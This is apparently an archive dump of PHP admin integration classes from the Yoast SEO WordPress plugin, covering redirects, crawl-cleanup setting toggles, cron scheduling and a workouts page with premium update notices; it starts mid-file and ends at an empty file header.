		$woocommerce_seo_installed = $addon_manager->is_installed( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG );

		$woocommerce_seo_active   = \is_plugin_active( $woocommerce_seo_file );
		$woocommerce_active       = $this->woocommerce_helper->is_active();
		$acf_seo_installed        = \file_exists( \WP_PLUGIN_DIR . '/' . $acf_seo_file );
		$acf_seo_github_installed = \file_exists( \WP_PLUGIN_DIR . '/' . $acf_seo_file_github );
		$acf_seo_active           = \is_plugin_active( $acf_seo_file );
		$acf_seo_github_active    = \is_plugin_active( $acf_seo_file_github );
		$acf_active               = \class_exists( 'acf' );
		$algolia_active           = \is_plugin_active( $algolia_file );
		$edd_active               = \class_exists( Easy_Digital_Downloads::class );
		$old_algolia_active       = \is_plugin_active( $old_algolia_file );
		$tec_active               = \class_exists( Events_Schema::class );
		$ssp_active               = \class_exists( PodcastEpisode::class );
		$wp_recipe_maker_active   = \class_exists( WP_Recipe_Maker::class );
		$mastodon_active          = $this->is_mastodon_active();

		$woocommerce_seo_activate_url = \wp_nonce_url(
			\self_admin_url( 'plugins.php?action=activate&plugin=' . $woocommerce_seo_file ),
			'activate-plugin_' . $woocommerce_seo_file
		);

		if ( $acf_seo_installed ) {
			$acf_seo_activate_url = \wp_nonce_url(
				\self_admin_url( 'plugins.php?action=activate&plugin=' . $acf_seo_file ),
				'activate-plugin_' . $acf_seo_file
			);
		}
		else {
			$acf_seo_activate_url = \wp_nonce_url(
				\self_admin_url( 'plugins.php?action=activate&plugin=' . $acf_seo_file_github ),
				'activate-plugin_' . $acf_seo_file_github
			);
		}

		$acf_seo_install_url = \wp_nonce_url(
			\self_admin_url( 'update.php?action=install-plugin&plugin=acf-content-analysis-for-yoast-seo' ),
			'install-plugin_acf-content-analysis-for-yoast-seo'
		);

		$this->admin_asset_manager->localize_script(
			'integrations-page',
			'wpseoIntegrationsData',
			[
				'semrush_integration_active'         => $this->options_helper->get( 'semrush_integration_active', true ),
				'allow_semrush_integration'          => $this->options_helper->get( 'allow_semrush_integration_active', true ),
				'algolia_integration_active'         => $this->options_helper->get( 'algolia_integration_active', false ),
				'allow_algolia_integration'          => $this->options_helper->get( 'allow_algolia_integration_active', true ),
				'wincher_integration_active'         => $this->options_helper->get( 'wincher_integration_active', true ),
				'allow_wincher_integration'          => null,
				'elementor_integration_active'       => $elementor_conditional->is_met(),
				'jetpack_integration_active'         => $jetpack_conditional->is_met(),
				'woocommerce_seo_installed'          => $woocommerce_seo_installed,
				'woocommerce_seo_active'             => $woocommerce_seo_active,
				'woocommerce_active'                 => $woocommerce_active,
				'woocommerce_seo_activate_url'       => $woocommerce_seo_activate_url,
				'acf_seo_installed'                  => $acf_seo_installed || $acf_seo_github_installed,
				'acf_seo_active'                     => $acf_seo_active || $acf_seo_github_active,
				'acf_active'                         => $acf_active,
				'acf_seo_activate_url'               => $acf_seo_activate_url,
				'acf_seo_install_url'                => $acf_seo_install_url,
				'algolia_active'                     => $algolia_active || $old_algolia_active,
				'edd_integration_active'             => $edd_active,
				'ssp_integration_active'             => $ssp_active,
				'tec_integration_active'             => $tec_active,
				'wp-recipe-maker_integration_active' => $wp_recipe_maker_active,
				'mastodon_active'                    => $mastodon_active,
				'is_multisite'                       => \is_multisite(),
				'plugin_url'                         => \plugins_url( '', \WPSEO_FILE ),
			]
		);
	}

	/**
	 * Renders the target for the React to mount to.
	 *
	 * @return void
	 */
	public function render_target() {
		?>
		<div class="wrap yoast wpseo-admin-page page-wpseo">
			<div class="wp-header-end" style="height: 0; width: 0;"></div>
			<div id="wpseo-integrations"></div>
		</div>
		<?php
	}

	/**
	 * Checks whether the Mastodon profile field has been filled in.
	 *
	 * @return bool
	 */
	private function is_mastodon_active() {
		return \apply_filters( 'wpseo_mastodon_active', false );
	}
}
wordpress-seo/src/integrations/admin/old-configuration-integration.php000064400000003225147510273100022424 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Old_Configuration_Integration class
 */
class Old_Configuration_Integration implements Integration_Interface {

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'admin_menu', [ $this, 'add_submenu_page' ], 11 );
		\add_action( 'admin_init', [ $this, 'redirect_to_new_configuration' ] );
	}

	/**
	 * Adds the old configuration submenu page.
	 *
	 * @param array $submenu_pages The Yoast SEO submenu pages.
	 *
	 * @return array the filtered submenu pages.
	 */
	public function add_submenu_page( $submenu_pages ) {
		\add_submenu_page(
			'',
			\__( 'Old Configuration Wizard', 'wordpress-seo' ),
			'',
			'manage_options',
			'wpseo_configurator',
			[ $this, 'render_page' ]
		);

		return $submenu_pages;
	}

	/**
	 * Renders the old configuration page.
	 *
	 * @return void
	 */
	public function render_page() {
		// This page is never to be displayed.
	}

	/**
	 * Redirects from the old configuration page to the new configuration page.
	 *
	 * @return void
	 */
	public function redirect_to_new_configuration() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Data is not processed or saved.
		if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_configurator' ) {
			return;
		}
		$redirect_url = 'admin.php?page=wpseo_dashboard#/first-time-configuration';
		\wp_safe_redirect( \admin_url( $redirect_url ), 302, 'Yoast SEO' );
		exit;
	}
}
wordpress-seo/src/integrations/admin/redirect-integration.php000064400000003343147510273100020603 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Helpers\Redirect_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class Redirect_Integration.
 */
class Redirect_Integration implements Integration_Interface {

	/**
	 * The redirect helper.
	 *
	 * @var Redirect_Helper
	 */
	private $redirect;

	/**
	 * Sets the helpers.
	 *
	 * @param Redirect_Helper $redirect The redirect helper.
	 */
	public function __construct( Redirect_Helper $redirect ) {
		$this->redirect = $redirect;
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wp_loaded', [ $this, 'old_settings_redirect' ] );
	}

	/**
	 * Redirect to new settings URLs. We're adding this, so that not-updated add-ons don't point to non-existent pages.
	 *
	 * @return void
	 */
	public function old_settings_redirect() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( ! isset( $_GET['page'] ) ) {
			return;
		}
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		$current_page = \sanitize_text_field( \wp_unslash( $_GET['page'] ) );

		switch ( $current_page ) {
			case 'wpseo_titles':
				$this->redirect->do_safe_redirect( \admin_url( 'admin.php?page=wpseo_page_settings#/site-representation' ), 301 );
				return;
			default:
				return;
		}
	}
}
wordpress-seo/src/integrations/admin/menu-badge-integration.php000064400000001624147510273100021006 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Menu_Badge_Integration class.
 */
class Menu_Badge_Integration implements Integration_Interface {

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_action( 'admin_enqueue_scripts', [ $this, 'add_inline_styles' ] );
	}

	/**
	 * Renders the migration error.
	 *
	 * @return void
	 */
	public function add_inline_styles() {
		$custom_css = 'ul.wp-submenu span.yoast-premium-badge::after, #wpadminbar span.yoast-premium-badge::after { content:"'
			. \__( 'Premium', 'wordpress-seo' ) . '"}';
		\wp_add_inline_style( WPSEO_Admin_Asset_Manager::PREFIX . 'admin-global', $custom_css );
	}
}
wordpress-seo/src/integrations/admin/crawl-settings-integration.php000064400000025620147510273100021752 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Admin_Asset_Manager;
use WPSEO_Option;
use WPSEO_Shortlinker;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Alert_Presenter;
use Yoast_Form;

/**
 * Crawl_Settings_Integration class
 */
class Crawl_Settings_Integration implements Integration_Interface {

	/**
	 * The admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * Holds the settings + labels for the head clean up piece.
	 *
	 * @var array
	 */
	private $basic_settings;

	/**
	 * Holds the settings + labels for the feeds clean up.
	 *
	 * @var array
	 */
	private $feed_settings;

	/**
	 * Holds the settings + labels for permalink cleanup settings.
	 *
	 * @var array
	 */
	private $permalink_cleanup_settings;

	/**
	 * Holds the settings + labels for search cleanup settings.
	 *
	 * @var array
	 */
	private $search_cleanup_settings;

	/**
	 * Holds the settings + labels for unused resources settings.
	 *
	 * @var array
	 */
	private $unused_resources_settings;

	/**
	 * The shortlinker.
	 *
	 * @var WPSEO_Shortlinker
	 */
	private $shortlinker;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * In this case: when on an admin page.
	 *
	 * @return array<string>
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Crawl_Settings_Integration constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager $admin_asset_manager The admin asset manager.
	 * @param WPSEO_Shortlinker         $shortlinker         The shortlinker.
	 */
	public function __construct( WPSEO_Admin_Asset_Manager $admin_asset_manager, WPSEO_Shortlinker $shortlinker ) {
		$this->admin_asset_manager = $admin_asset_manager;
		$this->shortlinker         = $shortlinker;
	}

	/**
	 * Registers an action to add a new tab to the General page.
	 *
	 * @return void
	 */
	public function register_hooks() {
		$this->register_setting_labels();

		\add_action( 'wpseo_settings_tab_crawl_cleanup_network', [ $this, 'add_crawl_settings_tab_content_network' ] );
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
	}

	/**
	 * Enqueue the workouts app.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		if ( ! \is_network_admin() ) {
			return;
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Page is not processed or saved.
		if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_dashboard' ) {
			return;
		}
		$this->admin_asset_manager->enqueue_script( 'crawl-settings' );
	}

	/**
	 * Connects the settings to their labels.
	 *
	 * @return void
	 */
	private function register_setting_labels() {
		$this->feed_settings = [
			'remove_feed_global'            => \__( 'Global feed', 'wordpress-seo' ),
			'remove_feed_global_comments'   => \__( 'Global comment feeds', 'wordpress-seo' ),
			'remove_feed_post_comments'     => \__( 'Post comments feeds', 'wordpress-seo' ),
			'remove_feed_authors'           => \__( 'Post authors feeds', 'wordpress-seo' ),
			'remove_feed_post_types'        => \__( 'Post type feeds', 'wordpress-seo' ),
			'remove_feed_categories'        => \__( 'Category feeds', 'wordpress-seo' ),
			'remove_feed_tags'              => \__( 'Tag feeds', 'wordpress-seo' ),
			'remove_feed_custom_taxonomies' => \__( 'Custom taxonomy feeds', 'wordpress-seo' ),
			'remove_feed_search'            => \__( 'Search results feeds', 'wordpress-seo' ),
			'remove_atom_rdf_feeds'         => \__( 'Atom/RDF feeds', 'wordpress-seo' ),
		];

		$this->basic_settings = [
			'remove_shortlinks'        => \__( 'Shortlinks', 'wordpress-seo' ),
			'remove_rest_api_links'    => \__( 'REST API links', 'wordpress-seo' ),
			'remove_rsd_wlw_links'     => \__( 'RSD / WLW links', 'wordpress-seo' ),
			'remove_oembed_links'      => \__( 'oEmbed links', 'wordpress-seo' ),
			'remove_generator'         => \__( 'Generator tag', 'wordpress-seo' ),
			'remove_pingback_header'   => \__( 'Pingback HTTP header', 'wordpress-seo' ),
			'remove_powered_by_header' => \__( 'Powered by HTTP header', 'wordpress-seo' ),
		];

		$this->permalink_cleanup_settings = [
			'clean_campaign_tracking_urls' => \__( 'Campaign tracking URL parameters', 'wordpress-seo' ),
			'clean_permalinks'             => \__( 'Unregistered URL parameters', 'wordpress-seo' ),
		];

		$this->search_cleanup_settings = [
			'search_cleanup'              => \__( 'Filter search terms', 'wordpress-seo' ),
			'search_cleanup_emoji'        => \__( 'Filter searches with emojis and other special characters', 'wordpress-seo' ),
			'search_cleanup_patterns'     => \__( 'Filter searches with common spam patterns', 'wordpress-seo' ),
			'deny_search_crawling'        => \__( 'Prevent search engines from crawling site search URLs', 'wordpress-seo' ),
			'redirect_search_pretty_urls' => \__( 'Redirect pretty URLs for search pages to raw format', 'wordpress-seo' ),
		];

		$this->unused_resources_settings = [
			'remove_emoji_scripts'  => \__( 'Emoji scripts', 'wordpress-seo' ),
			'deny_wp_json_crawling' => \__( 'Prevent search engines from crawling /wp-json/', 'wordpress-seo' ),
			'deny_adsbot_crawling'  => \__( 'Prevent Google AdsBot from crawling', 'wordpress-seo' ),
		];
	}

	/**
	 * Adds content to the Crawl Cleanup network tab.
	 *
	 * @param Yoast_Form $yform The yoast form object.
	 *
	 * @return void
	 */
	public function add_crawl_settings_tab_content_network( $yform ) {
		$this->add_crawl_settings( $yform );
	}

	/**
	 * Print the settings sections.
	 *
	 * @param Yoast_Form $yform The Yoast form class.
	 *
	 * @return void
	 */
	private function add_crawl_settings( $yform ) {
		$this->print_toggles( $this->basic_settings, $yform, \__( 'Basic crawl settings', 'wordpress-seo' ) );

		$this->print_toggles( $this->feed_settings, $yform, \__( 'Feed crawl settings', 'wordpress-seo' ) );
		$this->print_toggles( $this->unused_resources_settings, $yform, \__( 'Remove unused resources', 'wordpress-seo' ) );

		$first_search_setting    = \array_slice( $this->search_cleanup_settings, 0, 1 );
		$rest_search_settings    = \array_slice( $this->search_cleanup_settings, 1 );
		$search_settings_toggles = [
			'off' => \__( 'Disabled', 'wordpress-seo' ),
			'on'  => \__( 'Enabled', 'wordpress-seo' ),
		];

		$this->print_toggles( $first_search_setting, $yform, \__( 'Search cleanup settings', 'wordpress-seo' ), $search_settings_toggles );

		$this->print_toggles( $rest_search_settings, $yform, '', $search_settings_toggles );

		$permalink_warning = \sprintf(
		/* Translators: %1$s expands to an opening anchor tag for a link leading to the Yoast SEO page of the Permalink Cleanup features, %2$s expands to a closing anchor tag. */
			\esc_html__(
				'These are expert features, so make sure you know what you\'re doing before removing the parameters. %1$sRead more about how your site can be affected%2$s.',
				'wordpress-seo'
			),
			'<a href="' . \esc_url( $this->shortlinker->build_shortlink( 'https://yoa.st/permalink-cleanup' ) ) . '" target="_blank" rel="noopener noreferrer">',
			'</a>'
		);

		$this->print_toggles( $this->permalink_cleanup_settings, $yform, \__( 'Permalink cleanup settings', 'wordpress-seo' ), [], $permalink_warning );

		// Add the original option as hidden, so as not to lose any values if it's disabled and the form is saved.
		$yform->hidden( 'clean_permalinks_extra_variables', 'clean_permalinks_extra_variables' );
	}

	/**
	 * Prints a list of toggles for an array of settings with labels.
	 *
	 * @param array      $settings The settings being displayed.
	 * @param Yoast_Form $yform    The Yoast form class.
	 * @param string     $title    Optional title for the settings being displayed.
	 * @param array      $toggles  Optional naming of the toggle buttons.
	 * @param string     $warning  Optional warning to be displayed above the toggles.
	 *
	 * @return void
	 */
	private function print_toggles( array $settings, Yoast_Form $yform, $title = '', $toggles = [], $warning = '' ) {
		if ( ! empty( $title ) ) {
			echo '<h3 class="yoast-crawl-settings">', \esc_html( $title ), '</h3>';
		}

		if ( ! empty( $warning ) ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in Alert_Presenter.
			echo new Alert_Presenter( $warning, 'warning' );
		}

		if ( empty( $toggles ) ) {
			$toggles = [
				'off' => \__( 'Keep', 'wordpress-seo' ),
				'on'  => \__( 'Remove', 'wordpress-seo' ),
			];
		}

		$setting_prefix = WPSEO_Option::ALLOW_KEY_PREFIX;
		$toggles        = [
			// phpcs:ignore WordPress.WP.I18n.TextDomainMismatch -- Reason: text is originally from Yoast SEO.
			'on'  => \__( 'Allow Control', 'wordpress-seo' ),
			// phpcs:ignore WordPress.WP.I18n.TextDomainMismatch -- Reason: text is originally from Yoast SEO.
			'off' => \__( 'Disable', 'wordpress-seo' ),
		];

		foreach ( $settings as $setting => $label ) {
			$attr     = [];
			$variable = $setting_prefix . $setting;

			if ( $this->should_feature_be_disabled_permalink( $setting ) ) {
				$attr     = [
					'disabled' => true,
				];
				$variable = $setting_prefix . $setting . '_disabled';

				// Also add the original option as hidden, so as not to lose any values if it's disabled and the form is saved.
				$yform->hidden( $setting_prefix . $setting, $setting_prefix . $setting );
			}
			elseif ( $this->should_feature_be_disabled_multisite( $setting ) ) {
				$attr = [
					'disabled'                => true,
					'preserve_disabled_value' => false,
				];
			}

			$yform->toggle_switch(
				$variable,
				$toggles,
				$label,
				'',
				$attr
			);
			if ( $this->should_feature_be_disabled_permalink( $setting ) ) {
				echo '<p class="yoast-crawl-settings-help">';
				if ( \current_user_can( 'manage_options' ) ) {
					\printf(
					/* translators: 1: Link start tag to the Permalinks settings page, 2: Link closing tag. */
						\esc_html__( 'This feature is disabled when your site is not using %1$spretty permalinks%2$s.', 'wordpress-seo' ),
						'<a href="' . \esc_url( \admin_url( 'options-permalink.php' ) ) . '">',
						'</a>'
					);
				}
				else {
					echo \esc_html__( 'This feature is disabled when your site is not using pretty permalinks.', 'wordpress-seo' );
				}
				echo '</p>';
			}
		}
	}

	/**
	 * Checks if the feature should be disabled due to non-pretty permalinks.
	 *
	 * @param string $setting The setting to be displayed.
	 *
	 * @return bool
	 */
	protected function should_feature_be_disabled_permalink( $setting ) {
		return (
			\in_array( $setting, [ 'clean_permalinks', 'clean_campaign_tracking_urls' ], true )
			&& empty( \get_option( 'permalink_structure' ) )
		);
	}

	/**
	 * Checks if the feature should be disabled due to the site being a multisite.
	 *
	 * @param string $setting The setting to be displayed.
	 *
	 * @return bool
	 */
	protected function should_feature_be_disabled_multisite( $setting ) {
		return (
			\in_array( $setting, [ 'deny_search_crawling', 'deny_wp_json_crawling', 'deny_adsbot_crawling' ], true )
			&& \is_multisite()
		);
	}
}
wordpress-seo/src/integrations/admin/cron-integration.php000064400000001755147510273100017750 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Helpers\Date_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Cron_Integration class.
 */
class Cron_Integration implements Integration_Interface {

	/**
	 * The indexing notification integration.
	 *
	 * @var Date_Helper
	 */
	protected $date_helper;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Cron_Integration constructor
	 *
	 * @param Date_Helper $date_helper The date helper.
	 */
	public function __construct(
		Date_Helper $date_helper
	) {
		$this->date_helper = $date_helper;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		if ( ! \wp_next_scheduled( Indexing_Notification_Integration::NOTIFICATION_ID ) ) {
			\wp_schedule_event(
				$this->date_helper->current_time(),
				'daily',
				Indexing_Notification_Integration::NOTIFICATION_ID
			);
		}
	}
}
wordpress-seo/src/integrations/admin/workouts-integration.php000064400000026062147510273100020702 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Notice_Presenter;

/**
 * WorkoutsIntegration class
 */
class Workouts_Integration implements Integration_Interface {

	/**
	 * The admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	private $addon_manager;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The product helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Workouts_Integration constructor.
	 *
	 * @param WPSEO_Addon_Manager       $addon_manager       The addon manager.
	 * @param WPSEO_Admin_Asset_Manager $admin_asset_manager The admin asset manager.
	 * @param Options_Helper            $options_helper      The options helper.
	 * @param Product_Helper            $product_helper      The product helper.
	 */
	public function __construct(
		WPSEO_Addon_Manager $addon_manager,
		WPSEO_Admin_Asset_Manager $admin_asset_manager,
		Options_Helper $options_helper,
		Product_Helper $product_helper
	) {
		$this->addon_manager       = $addon_manager;
		$this->admin_asset_manager = $admin_asset_manager;
		$this->options_helper      = $options_helper;
		$this->product_helper      = $product_helper;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_submenu_pages', [ $this, 'add_submenu_page' ], 8 );
		\add_filter( 'wpseo_submenu_pages', [ $this, 'remove_old_submenu_page' ], 10 );
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ], 11 );
	}

	/**
	 * Adds the workouts submenu page.
	 *
	 * @param array $submenu_pages The Yoast SEO submenu pages.
	 *
	 * @return array The filtered submenu pages.
	 */
	public function add_submenu_page( $submenu_pages ) {
		$submenu_pages[] = [
			'wpseo_dashboard',
			'',
			\__( 'Workouts', 'wordpress-seo' ) . ' <span class="yoast-badge yoast-premium-badge"></span>',
			'edit_others_posts',
			'wpseo_workouts',
			[ $this, 'render_target' ],
		];

		return $submenu_pages;
	}

	/**
	 * Removes the workouts submenu page from older Premium versions
	 *
	 * @param array $submenu_pages The Yoast SEO submenu pages.
	 *
	 * @return array The filtered submenu pages.
	 */
	public function remove_old_submenu_page( $submenu_pages ) {
		if ( ! $this->should_update_premium() ) {
			return $submenu_pages;
		}

		// Copy only the Workouts page item that comes first in the array.
		$result_submenu_pages      = [];
		$workouts_page_encountered = false;
		foreach ( $submenu_pages as $item ) {
			if ( $item[4] !== 'wpseo_workouts' || ! $workouts_page_encountered ) {
				$result_submenu_pages[] = $item;
			}
			if ( $item[4] === 'wpseo_workouts' ) {
				$workouts_page_encountered = true;
			}
		}

		return $result_submenu_pages;
	}

	/**
	 * Enqueue the workouts app.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved.
		if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_workouts' ) {
			return;
		}

		if ( $this->should_update_premium() ) {
			\wp_dequeue_script( 'yoast-seo-premium-workouts' );
		}

		$this->admin_asset_manager->enqueue_style( 'workouts' );

		$workouts_option = $this->get_workouts_option();
		$ftc_url         = \esc_url( \admin_url( 'admin.php?page=wpseo_dashboard#/first-time-configuration' ) );

		$this->admin_asset_manager->enqueue_script( 'workouts' );
		$this->admin_asset_manager->localize_script(
			'workouts',
			'wpseoWorkoutsData',
			[
				'workouts'                  => $workouts_option,
				'homeUrl'                   => \home_url(),
				'pluginUrl'                 => \esc_url( \plugins_url( '', \WPSEO_FILE ) ),
				'toolsPageUrl'              => \esc_url( \admin_url( 'admin.php?page=wpseo_tools' ) ),
				'usersPageUrl'              => \esc_url( \admin_url( 'users.php' ) ),
				'firstTimeConfigurationUrl' => $ftc_url,
				'isPremium'                 => $this->product_helper->is_premium(),
				'upsellText'                => $this->get_upsell_text(),
				'upsellLink'                => $this->get_upsell_link(),
			]
		);
	}

	/**
	 * Renders the target for the React to mount to.
	 *
	 * @return void
	 */
	public function render_target() {
		if ( $this->should_update_premium() ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in get_update_premium_notice.
			echo $this->get_update_premium_notice();
		}

		echo '<div id="wpseo-workouts-container-free" class="yoast"></div>';
	}

	/**
	 * Gets the workouts option.
	 *
	 * @return mixed|null Returns workouts option if found, null if not.
	 */
	private function get_workouts_option() {
		$workouts_option = $this->options_helper->get( 'workouts_data' );

		// This filter is documented in src/routes/workouts-route.php.
		return \apply_filters( 'Yoast\WP\SEO\workouts_options', $workouts_option );
	}

	/**
	 * Returns the notification to show when Premium needs to be updated.
	 *
	 * @return string The notification to update Premium.
	 */
	private function get_update_premium_notice() {
		$url = $this->get_upsell_link();

		if ( $this->has_premium_subscription_expired() ) {
			/* translators: %s: expands to 'Yoast SEO Premium'. */
			$title = \sprintf( \__( 'Renew your subscription of %s', 'wordpress-seo' ), 'Yoast SEO Premium' );
			$copy  = \sprintf(
				/* translators: %s: expands to 'Yoast SEO Premium'. */
				\esc_html__(
					'Accessing the latest workouts requires an updated version of %s (at least 17.7), but it looks like your subscription has expired. Please renew your subscription to update and gain access to all the latest features.',
					'wordpress-seo'
				),
				'Yoast SEO Premium'
			);
			$button = '<a class="yoast-button yoast-button-upsell yoast-button--small" href="' . \esc_url( $url ) . '" target="_blank">'
					. \esc_html__( 'Renew your subscription', 'wordpress-seo' )
					/* translators: Hidden accessibility text. */
					. '<span class="screen-reader-text">' . \__( '(Opens in a new browser tab)', 'wordpress-seo' ) . '</span>'
					. '<span aria-hidden="true" class="yoast-button-upsell__caret"></span>'
					. '</a>';
		}
		elseif ( $this->has_premium_subscription_activated() ) {
			/* translators: %s: expands to 'Yoast SEO Premium'. */
			$title = \sprintf( \__( 'Update to the latest version of %s', 'wordpress-seo' ), 'Yoast SEO Premium' );
			$copy  = \sprintf(
				/* translators: 1: expands to 'Yoast SEO Premium', 2: Link start tag to the page to update Premium, 3: Link closing tag. */
				\esc_html__( 'It looks like you\'re running an outdated version of %1$s, please %2$supdate to the latest version (at least 17.7)%3$s to gain access to our updated workouts section.', 'wordpress-seo' ),
				'Yoast SEO Premium',
				'<a href="' . \esc_url( $url ) . '">',
				'</a>'
			);
			$button = null;
		}
		else {
			/* translators: %s: expands to 'Yoast SEO Premium'. */
			$title      = \sprintf( \__( 'Activate your subscription of %s', 'wordpress-seo' ), 'Yoast SEO Premium' );
			$url_button = 'https://yoa.st/workouts-activate-notice-help';
			$copy       = \sprintf(
				/* translators: 1: expands to 'Yoast SEO Premium', 2: Link start tag to the page to update Premium, 3: Link closing tag. */
				\esc_html__( 'It looks like you’re running an outdated and unactivated version of %1$s, please activate your subscription in %2$sMyYoast%3$s and update to the latest version (at least 17.7) to gain access to our updated workouts section.', 'wordpress-seo' ),
				'Yoast SEO Premium',
				'<a href="' . \esc_url( $url ) . '">',
				'</a>'
			);
			$button = '<a class="yoast-button yoast-button--primary yoast-button--small" href="' . \esc_url( $url_button ) . '" target="_blank">'
					. \esc_html__( 'Get help activating your subscription', 'wordpress-seo' )
					/* translators: Hidden accessibility text. */
					. '<span class="screen-reader-text">' . \__( '(Opens in a new browser tab)', 'wordpress-seo' ) . '</span>'
					. '</a>';
		}

		$notice = new Notice_Presenter(
			$title,
			$copy,
			null,
			$button
		);

		return $notice->present();
	}

	/**
	 * Check whether Premium should be updated.
	 *
	 * @return bool Returns true when Premium is enabled and the version is below 17.7.
	 */
	private function should_update_premium() {
		$premium_version = $this->product_helper->get_premium_version();
		return $premium_version !== null && \version_compare( $premium_version, '17.7-RC1', '<' );
	}

	/**
	 * Check whether the Premium subscription has expired.
	 *
	 * @return bool Returns true when Premium subscription has expired.
	 */
	private function has_premium_subscription_expired() {
		$subscription = $this->addon_manager->get_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG );

		return ( isset( $subscription->expiry_date ) && ( \strtotime( $subscription->expiry_date ) - \time() ) < 0 );
	}

	/**
	 * Check whether the Premium subscription is activated.
	 *
	 * @return bool Returns true when Premium subscription is activated.
	 */
	private function has_premium_subscription_activated() {
		return $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG );
	}

	/**
	 * Returns the upsell/update copy to show in the card buttons.
	 *
	 * @return string Returns a string with the upsell/update copy for the card buttons.
	 */
	private function get_upsell_text() {
		if ( ! $this->product_helper->is_premium() || ! $this->should_update_premium() ) {
			// Use the default defined in the component.
			return '';
		}
		if ( $this->has_premium_subscription_expired() ) {
			return \sprintf(
				/* translators: %s: expands to 'Yoast SEO Premium'. */
				\__( 'Renew %s', 'wordpress-seo' ),
				'Yoast SEO Premium'
			);
		}
		if ( $this->has_premium_subscription_activated() ) {
			return \sprintf(
				/* translators: %s: expands to 'Yoast SEO Premium'. */
				\__( 'Update %s', 'wordpress-seo' ),
				'Yoast SEO Premium'
			);
		}
		return \sprintf(
			/* translators: %s: expands to 'Yoast SEO Premium'. */
			\__( 'Activate %s', 'wordpress-seo' ),
			'Yoast SEO Premium'
		);
	}

	/**
	 * Returns the upsell/update link to show in the card buttons.
	 *
	 * @return string Returns a string with the upsell/update link for the card buttons.
	 */
	private function get_upsell_link() {
		if ( ! $this->product_helper->is_premium() || ! $this->should_update_premium() ) {
			// Use the default defined in the component.
			return '';
		}
		if ( $this->has_premium_subscription_expired() ) {
			return 'https://yoa.st/workout-renew-notice';
		}
		if ( $this->has_premium_subscription_activated() ) {
			return \wp_nonce_url( \self_admin_url( 'update.php?action=upgrade-plugin&plugin=wordpress-seo-premium/wp-seo-premium.php' ), 'upgrade-plugin_wordpress-seo-premium/wp-seo-premium.php' );
		}
		return 'https://yoa.st/workouts-activate-notice-myyoast';
	}
}
wordpress-seo/src/integrations/admin/indexing-tool-integration.php000064400000016444147510273100021570 0ustar00<?php

